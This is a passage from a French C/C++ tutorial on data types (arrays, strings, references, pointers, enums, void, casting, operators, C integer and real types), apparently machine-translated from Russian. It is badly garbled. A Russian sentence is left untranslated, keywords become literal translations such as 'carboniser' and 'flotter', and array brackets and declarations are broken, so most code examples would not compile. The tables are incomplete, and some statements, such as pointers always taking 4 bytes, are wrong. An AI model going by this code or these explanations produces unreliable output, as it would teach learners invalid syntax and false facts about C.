Les tableaux vous permettent de stocker un ensemble séquentiel d'éléments du même type. Un tableau est stocké en mémoire sous forme de bloc contigu, vous ne pouvez donc pas déclarer un tableau sans spécifier sa taille. Pour déclarer un tableau, des crochets () sont écrits après le nom de la variable indiquant sa taille. Par exemple:

Int monArray ; // Tableau de 5 éléments de type entier

Pour initialiser un tableau, les valeurs sont répertoriées entre accolades. Vous ne pouvez initialiser de cette manière qu'au moment de la déclaration de la variable. D'ailleurs, dans ce cas, il n'est pas nécessaire de préciser la taille du tableau :

Cotes Int = (1, 3, 7, 9, 11) ; // Le tableau est initialisé avec 5 valeurs

Pour accéder à une valeur spécifique dans un tableau (élément du tableau), utilisez l'opération d'accès à l'index () indiquant le numéro de l'élément (les nombres commencent à 0). Par exemple:

Chances; // accès au premier élément du tableau. Renvoie la valeur 1 cote ; // accès au troisième élément. Renvoie la valeur 7 cotes = 13 ; // Attribue une nouvelle valeur au 5ème élément du tableau odds ; // erreur d'accès

5.3. Cordes

Pour écrire une chaîne, les programmeurs utilisent l’idée qu’une chaîne est une série séquentielle (tableau) de caractères. Pour identifier la fin d'une ligne, utilisez le caractère spécial de fin de ligne : '\0'. Ces caractères spéciaux, constitués d'une barre oblique inverse et d'un caractère d'identification, sont appelés caractères de contrôle ou d'échappement. Il y a aussi, par exemple, '\n' - le début d'une nouvelle ligne, '\t' - la tabulation. Pour écrire une barre oblique inverse dans une chaîne, l'échappement est utilisé - une autre barre oblique est placée avant le signe lui-même : '\'. L'échappement est également utilisé pour écrire des guillemets.

Créons une variable chaîne :

Char textExample = ('T', 'e', ​​​​'s', 't', '\0'); // la chaîne « Test » est écrite

Il existe une notation simplifiée pour l'initialisation d'une chaîne :

Char textExample = « Test » ; // Le dernier caractère n'est pas écrit, mais la taille est toujours de 5

Sans entrer dans les détails, voici un autre type de données utile : la chaîne. Cordes
Ce type peut par exemple être ajouté :

Chaîne bonjour = "Bonjour" ; nom de chaîne = "Max!"; chaîne bonjour_nom = bonjour + nom ; // Récupère la chaîne "Bonjour, Max !"

6. Lien

Int a = 2 ; // la variable "a" pointe vers la valeur 2 int &b = a; // la variable « b » pointe au même endroit que « a » b = 4 ; // en changeant la valeur de b, le programmeur change la valeur de a. Maintenant a = 4 int &c = 4; // erreur, vous ne pouvez pas faire ça car la référence ne peut pas recevoir de valeur

7. Indice

Pour comprendre ce type de données, vous devez vous rappeler que de nombreuses valeurs de ce type sont les adresses des cellules mémoire où commencent les données. Le pointeur prend également en charge les opérations d'addition (+), de soustraction (-) et de déréférencement (*).

Les adresses 0x0 signifient que le pointeur est vide, c'est-à-dire ne pointe vers aucune donnée. Cette adresse a son propre littéral - NULL :

Int *nullPtr = NULL; // pointeur nul

Ajouter et soustraire une adresse avec un entier ou une autre adresse permet
se déplacer dans la mémoire disponible pour le programme.

L'opération de récupération de données à partir d'une adresse stockée dans un pointeur est appelée déréférencement (*). Le programme lit le nombre requis de cellules mémoire et renvoie la valeur stockée en mémoire.

Int valeurEnMémoire = 2 ; // définit une variable de type entier int *somePtr = // copie l'adresse de la variable, ici & - renvoie l'adresse de la variable somePtr; // adresse de la cellule mémoire, par exemple 0x2F *somePtr; // la valeur est stockée dans 4 cellules : 0x2F, 0x30, 0x31 et 0x32

L'opération d'affectation, qui est syntaxiquement la même que l'opération de copie, n'est pas disponible pour les pointeurs. En d’autres termes, vous pouvez copier l’adresse d’un autre pointeur ou l’adresse d’une variable, mais vous ne pouvez pas déterminer vous-même la valeur de l’adresse.

Le pointeur lui-même est stocké en mémoire, comme les valeurs de variables d'autres types, et occupe 4 octets, vous pouvez donc créer un pointeur vers un pointeur.

8. Transferts

Les énumérations sont le seul type de base défini par le programmeur. En gros, une énumération est un ensemble ordonné de constantes entières nommées, le nom de l'énumération étant le type de base.

Couleur d'énumération (ROUGE, BLEU, VERT);

Par défaut, ROUGE = 0, BLEU = 1, VERT = 2. Par conséquent, les valeurs peuvent être comparées entre elles, c'est-à-dire ROUGE< BLUE < GREEN. Программист при объявлении перечисления может самостоятельно задать значения каждой из констант:

Accès enum (LECTURE = 1, WRITE = 2, EXEC = 4) ;

Il est souvent pratique d'utiliser des énumérations dont les valeurs sont des puissances de deux, car en représentation binaire, un nombre qui est une puissance de 2 sera composé de 1 et de zéros. Par exemple:

8 10 = 00001000 2

Le résultat de l’addition de ces nombres indique toujours clairement quels nombres ont été ajoutés :

37 10 = 00100101 2 = 00000001 2 + 00000100 2 + 00100000 2 = 1 10 + 4 10 + 32 10

Vide

Syntaxiquement, le type void appartient aux types fondamentaux, mais il ne peut être utilisé que dans le cadre de types plus complexes, car Il n'y a aucun objet de type void. Généralement, ce type est utilisé pour indiquer qu'une fonction n'a pas de valeur de retour ou comme type de base d'un pointeur vers des objets de types non définis :

Objet vide ; // erreur, il n'y a aucun objet de type void void // erreur, il n'y a aucune référence à void void *ptr; // ok, stocke un pointeur vers un type inconnu

Souvent, nous utiliserons void spécifiquement pour indiquer qu'une fonction ne renvoie aucune valeur. Un pointeur de type void est utilisé lorsque le programmeur assume l'entière responsabilité de l'intégrité de la mémoire et de la conversion de type correcte.

Casting

Il est souvent nécessaire de convertir la valeur d'une variable d'un type en un autre. Dans le cas où l'ensemble des valeurs du type d'origine est un sous-ensemble d'un type plus grand (par exemple, int est un sous-ensemble de long et long est un double), le compilateur est capable de implicitement ( implicitement) changez le type de valeur.

entier = 2 ; float flottant = entier ; // flottant = 2.0

Une conversion de type inversée sera effectuée avec perte d'informations, donc seule la partie entière du nombre à virgule flottante restera, la partie fractionnaire sera perdue.

Il existe la possibilité d'une conversion de type explicite ; pour cela, à gauche de la variable ou de toute valeur du type d'origine, écrivez entre parenthèses le type vers lequel le transtypage sera effectué :

Valeur int = (int) 2,5 ;

Opérations unaires et binaires

Les opérations que nous avons effectuées précédemment sont appelées binaires : à gauche et à droite du symbole de l'opération se trouvent des valeurs ou des variables, par exemple 2 + 3. En plus des opérations binaires, les langages de programmation utilisent également des opérations unaires qui s'appliquent aux variables. . Ils peuvent être situés soit à gauche, soit à droite d'une variable ; plusieurs opérations de ce type ont déjà été rencontrées - l'opération de déréférencement (*) et la prise d'adresse d'une variable (&) sont unaires. Les opérateurs « ++ » et « — » augmentent et diminuent respectivement la valeur d'une variable entière de 1 et peuvent être écrits soit à gauche, soit à droite de la variable.

C++ utilise également une notation abrégée pour les opérations binaires dans le cas où les côtés gauche et droit d'une expression contiennent la même variable, c'est-à-dire une opération est effectuée sur la valeur d'une variable et le résultat de l'opération est stocké dans la même variable :

UNE += 2; // identique à a = a + 2 ; b /= 5 ; // identique à b = b / 5 ; c & = 3 ; // identique à c = c & 3;

En plus de diviser les données en variables et constantes, il existe une classification des données par type. La description des variables consiste principalement à déclarer leur type. Le type de données caractérise la plage de ses valeurs et la forme de représentation dans la mémoire de l'ordinateur. Chaque type est caractérisé par un ensemble d'opérations effectuées sur les données. Traditionnellement, les langages de programmation à usage général ont des types standard tels que entier, réel, caractère et logique 3 . Notons tout de suite qu'il n'existe pas de type logique en C. Une expression (dans le cas particulier, une variable) est considérée comme vraie si elle est non nulle, sinon elle est considérée comme fausse.

L'existence de deux types numériques (entier et réel) est associée à deux formes possibles de représentation des nombres dans la mémoire de l'ordinateur.

Données type entier stocké sous forme de présentation un point fixe. Il se caractérise par une précision absolue dans la représentation des nombres et l'exécution d'opérations sur ceux-ci, ainsi que par une plage limitée de valeurs numériques. Le type entier est utilisé pour les données qui, en principe, ne peuvent pas avoir de partie fractionnaire (nombre de personnes, de voitures, etc., chiffres et compteurs).

Tapez réel correspond à la forme de représentation numérique point flottant, qui se caractérise par une représentation approximative d'un nombre avec un nombre donné de chiffres significatifs (signes de mantisse) et une large plage de l'ordre du nombre, ce qui permet de représenter aussi bien de très grands que de très petits nombres en valeur absolue. En raison de la représentation approximative des données de type réel, leur il est incorrect de comparer pour l'égalité.

Dans les implémentations modernes des langages de programmation universels, il existe généralement plusieurs types entiers et plusieurs types réels, chacun étant caractérisé par sa taille de mémoire allouée pour une valeur et, par conséquent, sa plage de valeurs numériques et pour les types réels - et sa précision. (le nombre de chiffres de la mantisse).

Données type de caractère prendre des valeurs sur l'ensemble des caractères autorisés pour un ordinateur donné. Un octet est alloué pour stocker une valeur de caractère ; les caractères sont codés conformément à une table de codage standard (généralement ASCII).

Il existe 4 types de base en C :

carboniser- le type de caractère ;

int- tout un type,

flotter- type réel simple précision,

double- type réel double précision.

Pour définir des types dérivés, utilisez qualificatifs:court(court) - utilisé avec le type int,long(long) - utilisé avec les types int Et double;signé(avec un signe), non signé(non signé) - s'applique à tout type entier. En l'absence du mot non signé, la valeur est considérée comme signée, c'est-à-dire c'est-à-dire que la valeur par défaut est signée. En raison de l'admissibilité d'une combinaison arbitraire de qualificatifs et de noms de types de base, un type peut avoir plusieurs désignations. Les informations sur les types C standard sont présentées dans les tableaux 1 et 2. Les descripteurs de synonymes sont répertoriés dans les cellules de la première colonne, séparés par des virgules.

Tableau 1. Types de données entiers C standard

Type de données		Plage de valeurs
char, char signé
non signé int, non signé
int, signé int, court int, court
		2147483648...2147483647

Fait intéressant, en C, le type char peut être utilisé comme caractère ou comme type entier, selon le contexte.

Tableau 2. Types de données réelles standard C

Commentaire. Pour écrire les programmes de la première partie du manuel, nous aurons principalement besoin deux types:flotterEtint.